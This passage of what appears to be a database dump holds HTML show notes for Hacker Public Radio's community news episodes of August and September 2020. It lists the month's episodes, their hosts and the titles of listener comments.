target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3139\" target=\"_blank\">3139</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-08-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3139\" target=\"_blank\">MIDI Sysex</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3140\" target=\"_blank\">3140</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-08-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3140\" target=\"_blank\">GIMP: Selection Tools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3141\" target=\"_blank\">3141</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-08-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3141\" target=\"_blank\">Lessons learnt from Magic the Gathering game design</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3142\" target=\"_blank\">3142</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-08-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3142\" target=\"_blank\">tcsh</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3143\" target=\"_blank\">3143</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-08-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3143\" target=\"_blank\">LibreOffice 7.0 Released!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3144\" target=\"_blank\">3144</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-08-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3144\" target=\"_blank\">Pentesting: Insecure Object Reference</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=387\" target=\"_blank\">Cedric De Vroey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3145\" target=\"_blank\">3145</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-08-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3145\" target=\"_blank\">A light bulb moment, part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3146\" target=\"_blank\">3146</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-08-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3146\" target=\"_blank\">Help Me Help you with HPR eps!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3147\" target=\"_blank\">3147</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-08-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3147\" target=\"_blank\">NIST\'s Quantum Cryptography Update</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3148\" target=\"_blank\">3148</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-08-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3148\" target=\"_blank\">Why Open Source matters (to me)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3149\" target=\"_blank\">3149</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-08-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3149\" target=\"_blank\">HPR AudioBook Club 21  - The Terrible Business of Salmon and Dusk</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3150\" target=\"_blank\">3150</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-08-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3150\" target=\"_blank\">GIMP: Paint Tools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3151\" target=\"_blank\">3151</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-08-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3151\" target=\"_blank\">How I listen to podcasts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3119#comments\" target=\"_blank\">hpr3119</a></strong>\n(2020-07-16) \"<em>Converting to FFS2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3119#3\" target=\"_blank\">Comment 3</a>:\nZen_Floater2 on 2020-08-13:\n\"reply back to Gumnos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3123#comments\" target=\"_blank\">hpr3123</a></strong>\n(2020-07-22) \"<em>Arduino controlled Christmas lights</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3123#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2020-08-03:\n\"Funny story\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 21 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3131#comments\" target=\"_blank\">hpr3131</a></strong>\n(2020-08-03) \"<em>HPR Community News for July 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3131#1\" target=\"_blank\">Comment 1</a>:\nZen_Floater2 on 2020-08-13:\n\"I\'ve learned much.and I\'d like to share much as well...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3134#comments\" target=\"_blank\">hpr3134</a></strong>\n(2020-08-06) \"<em>Tomorrowland 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3134#1\" target=\"_blank\">Comment 1</a>:\nfatherfinch on 2020-08-07:\n\"Great Energy\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3134#2\" target=\"_blank\">Comment 2</a>:\ncatn0b0t on 2020-08-10:\n\"TML 2020\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3137#comments\" target=\"_blank\">hpr3137</a></strong>\n(2020-08-11) \"<em>Coronavirus Update 2020-07-30</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-08-11:\n\"some \'smart\' people may not take a vaccine\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-08-12:\n\"Why it matters\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#3\" target=\"_blank\">Comment 3</a>:\nZen_Floater2 on 2020-08-13:\n\"The Squirrel from the Magical Forrest\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#4\" target=\"_blank\">Comment 4</a>:\nSkepticalA on 2020-08-16:\n\"Condescending\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#5\" target=\"_blank\">Comment 5</a>:\nBob on 2020-08-16:\n\"Fact Checks on one of your claims\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#6\" target=\"_blank\">Comment 6</a>:\nbrian-in-ohio on 2020-08-16:\n\"sympathy\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#7\" target=\"_blank\">Comment 7</a>:\nAhuka on 2020-08-16:\n\"Clarification\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#8\" target=\"_blank\">Comment 8</a>:\nZen_Floater2 on 2020-08-19:\n\"Detailed research Corbit Report\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3137#9\" target=\"_blank\">Comment 9</a>:\nAnon on 2020-08-21:\n\"Conspiracy Theories: Last Week Tonight with John Oliver\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3138#comments\" target=\"_blank\">hpr3138</a></strong>\n(2020-08-12) \"<em>Linux Inlaws S01E12: Reminiscing in FLOSS Weekly</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3138#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2020-08-12:\n\"Excellent Interview\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3138#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2020-08-14:\n\"Agree with Ahuka. Great Interview!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3138#3\" target=\"_blank\">Comment 3</a>:\nbrian-in-ohio on 2020-08-16:\n\"follow up question\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3138#4\" target=\"_blank\">Comment 4</a>:\nan anonymous listener on 2020-08-21:\n\"volume\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3139#comments\" target=\"_blank\">hpr3139</a></strong>\n(2020-08-13) \"<em>MIDI Sysex</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3139#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-08-16:\n\"the voice\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3139#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2020-08-18:\n\"Voice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3143#comments\" target=\"_blank\">hpr3143</a></strong>\n(2020-08-19) \"<em>LibreOffice 7.0 Released!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3143#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-08-19:\n\"slackware\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3144#comments\" target=\"_blank\">hpr3144</a></strong>\n(2020-08-20) \"<em>Pentesting: Insecure Object Reference</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=387\" target=\"_blank\">Cedric De Vroey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3144#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2020-08-20:\n\"I deal with this all the time\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3148#comments\" target=\"_blank\">hpr3148</a></strong>\n(2020-08-26) \"<em>Why Open Source matters (to me)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3148#1\" target=\"_blank\">Comment 1</a>:\nZen_Floater2 on 2020-08-29:\n\"Vic 20\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 12 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3176,'2020-10-05','HPR Community News for September 2020',4187,'HPR Volunteers talk about shows released and comments posted in September 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3152\" target=\"_blank\">3152</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-09-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3152\" target=\"_blank\">My Pocket Knives</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3153\" target=\"_blank\">3153</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-09-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3153\" target=\"_blank\">Fixing eBooks with Calibre and pdfcrop</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3154\" target=\"_blank\">3154</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-09-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3154\" target=\"_blank\">Make NextCloud your next cloud</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3155\" target=\"_blank\">3155</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-09-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3155\" target=\"_blank\">LastPass Security Dashboard</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3156\" target=\"_blank\">3156</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-09-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3156\" target=\"_blank\">HPR Community News for August 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3157\" target=\"_blank\">3157</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-09-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3157\" target=\"_blank\">Compost</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3158\" target=\"_blank\">3158</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-09-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3158\" target=\"_blank\">Fingerprint access control? LOL... </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=387\" target=\"_blank\">Cedric De Vroey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3159\" target=\"_blank\">3159</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-09-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3159\" target=\"_blank\">Vivaldi - The Four Seasons</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3160\" target=\"_blank\">3160</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-09-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3160\" target=\"_blank\">GIMP: Transform Tools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3161\" target=\"_blank\">3161</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-09-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3161\" target=\"_blank\">How I manage podcast listening</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3162\" target=\"_blank\">3162</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-09-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3162\" target=\"_blank\">Introduction to Ansible</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3163\" target=\"_blank\">3163</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-09-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3163\" target=\"_blank\">Linux Inlaws S01E13: The road to communism and freedom</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3164\" target=\"_blank\">3164</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-09-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3164\" target=\"_blank\">I\'m Learning Spanish</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3165\" target=\"_blank\">3165</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-09-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3165\" target=\"_blank\">Spanish Tools Continued</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3166\" target=\"_blank\">3166</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-09-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3166\" target=\"_blank\">Using Ansible to mirror a Git repo</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3167\" target=\"_blank\">3167</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-09-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3167\" target=\"_blank\">A ramble with the Pentland Squires (part 1)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3168\" target=\"_blank\">3168</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-09-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3168\" target=\"_blank\">FreeBSD Jails and iocage</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3169\" target=\"_blank\">3169</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-09-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3169\" target=\"_blank\">Ludwig van Beethoven with a hint of Chopin</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3170\" target=\"_blank\">3170</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-09-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3170\" target=\"_blank\">GIMP: Color Tools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3171\" target=\"_blank\">3171</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-09-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3171\" target=\"_blank\">A Week On Soylent</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3172\" target=\"_blank\">3172</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-09-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3172\" target=\"_blank\">A ramble with the Pentland Squires (part 2)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3173\" target=\"_blank\">3173</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-09-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3173\" target=\"_blank\">Manage your Raspberry Pi fleet with Ansible</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 15 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3138#comments\" target=\"_blank\">hpr3138</a></strong>\n(2020-08-12) \"<em>Linux Inlaws S01E12: Reminiscing in FLOSS Weekly</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3138#5\" target=\"_blank\">Comment 5</a>:\nRobert on 2020-09-02:\n\"..._---_\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3146#comments\" target=\"_blank\">hpr3146</a></strong>\n(2020-08-24) \"<em>Help Me Help you with HPR eps!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3146#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2020-09-05:\n\"Keep doing what you\'re doing\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 13 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3152#comments\" target=\"_blank\">hpr3152</a></strong>\n(2020-09-01) \"<em>My Pocket Knives</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3152#1\" target=\"_blank\">Comment 1</a>:\nReto on 2020-09-24:\n\"Link to the other knive podcast\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3154#comments\" target=\"_blank\">hpr3154</a></strong>\n(2020-09-03) \"<em>Make NextCloud your next cloud</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3154#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2020-09-11:\n\"Nextcloud and self hosting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3158#comments\" target=\"_blank\">hpr3158</a></strong>\n(2020-09-09) \"<em>Fingerprint access control? LOL... </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=387\" target=\"_blank\">Cedric De Vroey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3158#1\" target=\"_blank\">Comment 1</a>:\nBeeza on 2020-09-11:\n\"The need for \"meta procedures\"\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3158#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-09-11:\n\"Fantastic show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3161#comments\" target=\"_blank\">hpr3161</a></strong>\n(2020-09-14) \"<em>How I manage podcast listening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3161#1\" target=\"_blank\">Comment 1</a>:\nReto on 2020-09-24:\n\"Sansa MP3 Players\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3161#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2020-09-27:\n\"Rockbox and Sansa players\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3161#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2020-09-27:\n\"My Rockbox/Sansa experience\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3161#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2020-09-29:\n\"No more Sansa Clip Plus\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3167#comments\" 